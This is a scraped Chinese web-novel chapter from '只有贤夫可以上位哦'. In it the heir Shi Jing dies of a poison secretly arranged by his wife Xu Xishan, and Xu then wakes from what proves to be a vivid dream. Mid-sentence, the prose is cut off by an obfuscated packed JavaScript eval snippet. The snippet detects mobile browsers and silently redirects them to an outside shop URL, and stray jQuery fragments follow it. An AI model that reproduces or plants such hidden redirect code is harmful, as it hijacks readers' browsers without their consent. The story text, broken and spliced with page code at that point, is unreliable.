文趣网 > 其他小说 > 只有贤夫可以上位哦 > 14. 第 14 章
    许惜杉笑出声,眼泪滚滚而下。

    这半年来面对他一直木然死寂的脸色第一次的有了色彩,却是在这么一个不合时宜的时刻。

    时间已经过了很久,时景的脸色重新灰败了下去。

    他清楚再不开口就永远没了机会,可是力气在流失,脑中也越发混沌。

    时景第一次怨恨自己。

    怨恨自己没有表述自己心意的能力。

    就算那显得自己多愚蠢可笑甚至面目可憎又如何?

    他宁可叫许惜杉快意,也不想带着一厢情愿入坟墓,徒留许惜杉攥着他留下的伤疤痛苦,不想再叫她猜。

    他自负太多,得到了最严重的惩罚,让他们二人的时间短暂到让他慌乱无措。

    他以为他们有足够长的时间。

    什么都没关系,什么都来得及。

    他以为她只是想出出气,没想到她已经恨他至此,竟然想叫他死。

    这不是她的错,错在他。

    是他一步步逼着她走到如今的地步,糊涂、自负而无知。

    到了生命垂危的时候,一丝丝的流逝都感受得无比清晰。

    时景闭了闭眼,用尽力气将人喊进来。

    宋黎已经被放开,孤单地站在一边。

    见到时景一群人跪了一地,真或假的悲戚,唯独许惜杉突兀站着。

    小厮显然哭过一场,眼睛已经肿了,哑声道:

    “查过饭菜了,没有问题。”

    所以宋黎被放开了。

    时景声音气若游丝却万分坚定:

    “我旧疾复发,不要为难宋黎。我与宋黎并未有任何逾矩之行,当时不过帮她躲过纨绔纠缠,入府暂躲,如今就放出府吧。”

    场上人都惊讶地抬头,眼神隐晦地扫过宋黎。

    宋黎不可置信看着时景,眼神悲伤痛楚,一腔情意被错付得彻底的模样,红肿的眼睛又要流泪。

    时景没有看宋黎。

    眼神最后地又落到许惜杉身上,她又低垂着头不知在想什么。

    “王府一切皆由夫人做主,往后她就是唯一的主子,我的一切包括私产田地尽属于夫人。”

    “是我,对夫人隐瞒旧疾,对不住夫人。”

    “若往后,有人竟敢辱没、对夫人不敬,就拿着我的玉佩进宫。”

    许惜杉猛地抬头。

    时景已经要不行了,眼神将要涣散无神还执着得看着许惜杉,“夫人……”

    未说完,已经身子一软,眼皮也永久地阖上了。

    又是一片茫茫的白,许惜杉病倒了。

    强撑着在灵堂中守了一日就昏倒了,被急急忙忙地送回屋。

    安王府上下一片恐慌,生怕这府中最后一位主人也出了事。

    宋黎已经被送出府,如今诺大一个安王府,也就剩下许惜杉一人。

    偏偏许惜杉这一病似是要把这半年的份额全补齐,病重得爬不起身。

    整日昏昏沉沉,叫了大夫看也说不出个二三事,只斟酌着说是久久郁结于心。

    下人们只庆幸不是中毒,松了口气。

    私底下却很是可怜心疼这位世子妃。

    本与世子两人伉俪情深、琴瑟和鸣,却忽的闹了个小矛盾,彼此二人都僵持着不肯低头,世子甚至做出找了个女人还气夫人这种惹人发笑的事。

    结果不过短短半年,误会终于解开,却是在年少有为的世子临终之际……

    谁不说一句造化弄人?

    许惜杉披着白狐裘衣站在屋前看雪,内里是素白的冬装,款式简单到刺绣都寥寥无几。

    一张小脸越发消瘦,扎着的妇人髻只由一支玉簪固定,再无别的饰品。

    “今年的雪来得特别早。”

    许惜杉仰着头,点点白色飘飘扬扬洒下大地,很小的雪,其实没什么可看的。

    但如今不过十一月,竟然就落雪了。

    春兰扶着许惜杉,一言不发,看着与从前的浮躁冒失恍若两人。

    许惜杉伸出手接飘落下的小雪花,零丁的小雪花落在温热的手心就化水了。

    许惜杉笑笑,迈步走了出去,春兰急忙捞起一把伞撑开跟了上去。

    如今的安王府许惜杉已经逛得很熟了,府中就她一个主子,她想去哪儿就去哪儿想如何就如何。

    漫无目的走着,当日的惊鸿一瞥拥有后又觉得不过如此,不知不觉走到了一个小花园。

    既熟悉又陌生的场景,当日设赏花宴而特意摆出来的桌椅早已不在这园中。

    她站在昔日坐着的席位处,往对面望仿佛看到了那个年少的郎君,冷着脸余光也不给她一个,矜贵冷傲。

    春兰沉默着,知道小姐是想起了世子。

    许惜杉沿着小石路抵达一片桃林,桃林深处有处小亭,无人又陈旧的亭中打扫得干净,桌上备着新鲜的茶具糕点。

    许惜杉并未走进亭中,而是绕到亭后。

    有颗桃树格外的不同,整片桃林独独它怕被冷着一般精心围了干草。

    穿衣服的桃树。

    踱步到桃树下,转身。

    在这一处恰好将透过交错的桃枝干缝隙亭中看得清楚。

    若是花季,亭中之人一点也注意不到竟被站在此处的人注视着。

    只是如今正值寒冬,整片的桃林只剩一片光秃秃的枝干,连一片绿叶都不曾留在枝头,远远看去像一片枯死的林,死沉寂寥。

    入府三年,许惜杉对安王府掌控力超乎想象。

    她不知道时景与宋黎是如何,情投意合还是有什么交易或是共识。

    她知道的只是时景边与宋黎越亲近,来这片桃林越频繁,叫许惜杉恶心。

    恶心透了。

    最终,怒火与怨恨燃烧了她。

    桃林动过手脚,宋黎院中的膳食也动过手脚,如果只接触一样不会有事,只有两相交杂是一种毒。

    无药可救的毒。

    可她不知道,她的成功竟然是因为时景的纵容。

    到如今许惜杉对时景的感情已无法分辨是爱是恨。

    但她会好好活着,一直。

    -

    “砰!”

    许惜杉脸色惨白,眉头紧紧皱着摇着头,双眼紧闭着、身子僵硬地抽搐,一副深陷梦魇的模样。

    终于,在梦中迷失的女子好似用尽全力挣脱,踢动的脚撞在床柱上,发出的声响引得人恍恍惚惚脱离虚幻。

    春兰在外间听见声响,惊慌地冲进内室,急忙忙掀开床帘。

    “小姐?”

    入目就是一张惨无血色的脸蛋,额头的汗珠有的刚刚沁出,有的顺着两颊缓缓下淌。

    许惜杉整个人犹如从水中捞出来一样,胸口剧烈起

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702828|208240||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    伏着还在大喘气。

    春兰心疼地抱住许惜杉,将披散着发的少女往怀里揽,胸脯支撑着那瘫软无力的身体。

    手掌轻轻顺着轻薄的背脊,嘴里轻声道:

    “没事了,没事的小姐,都是梦,方才只是被魇住了,醒来就好了。”

    怀里的身子还在止不住地颤着,发抖着。

    春兰心疼地动作不停,一遍一遍不厌其烦安抚着怀中无助可怜的小姐。

    许惜杉脑中一片混乱,感觉自己仿佛真的亲自经历那一生,那么冗长。

    直到梦完一生到享年五十八岁,才得以挣扎醒来。

    那么多太多太厚重的故事、情感,在醒来后并没有退去,反而更加清晰,一股脑往稚嫩的脑子里塞。

    叫她只觉得双耳轰鸣,有些记不起如今人在何处,是几何时光。

    直到熟悉的怀抱义无反顾拥住她,温暖与熟悉的玉兰香传来。

    许久,许惜杉终于松开绷紧的脑弦,放松下来。

    心跳渐渐恢复正常,脑子依旧突突作痛。

    春兰感受到小姐的情绪渐缓,从腰间取下帕子轻轻擦拭着脑门的汗珠,直到那张小脸恢复白净。

    “小姐,你睡了快两个时辰,如今天都快黑了,刚刚夫人院里来叫晚上过去用膳。”

    春兰轻轻端详着许惜杉的面色,继续道:

    “我去回了夫人吧,就说小姐今日染了风寒,小姐约莫也是这几天累极了,才会魇住,刚好歇息几天,才车马劳顿过后哪能不歇歇气。”

    许惜杉还在梳理着思绪,勉强将春兰的话听清理解,开口道:

    “嗯。”

    一开口,声音干涩沙哑,像是沙砾在喉咙滚一般。

    春兰吓了一跳,看许惜杉没事了,拿了个软枕塞到许惜杉腰后,好叫她靠着既不费力又不被冷硬地硌住。

    才起身去倒了杯清凉的淡茶端过来。

    许惜杉接过,看着眼前容貌稚嫩不负梦境中成熟玲珑,待她眼神却如出一辙的春兰。

    心中松了口气,后知后觉又涌上暖意。

    她的好春兰。

    露出一个轻轻的淡笑,许惜杉轻声道:

    “我没事,只是……魇住了。”

    “小姐莫要太累了,叫夫人知道要心疼坏了的。”春兰嘟起嘴,面色有些不满。

    许惜杉抬手扶着额头,一副头疼的模样。

    一双眼睛瞄着春兰,意味明显。

    春兰焦急地为许惜杉轻按着太阳穴,心不甘情不愿地闭嘴不说了,只是两颊愈发鼓了,跟胀气的河豚一般。

    许惜杉握住春兰的手,轻笑道:

    “去吧,跟姨妈说一声,不要叫她们白等着了,待我缓缓也该吃晚膳了。”

    过了这么久又做了一场大梦肚里早空荡荡的了。

    春兰点点头,脚步轻巧地走出内室。

    许惜杉握着冷茶,喝了一大口。

    一般不管梦中发生什么事、如何深刻,在醒来后都会如宝石蒙尘,叫人看不清光芒记不起模样,至多记得一些叫人难以忘却的模糊事件。

    可到现在,那般离奇诡异的梦,还深深映在她的脑海,一丝一毫的褪色都不曾。

    甚至想起那细节心都还会随之牵动,情绪为之翻涌,真实又深刻。

    仿佛是她曾经走过的路,亲历的人生。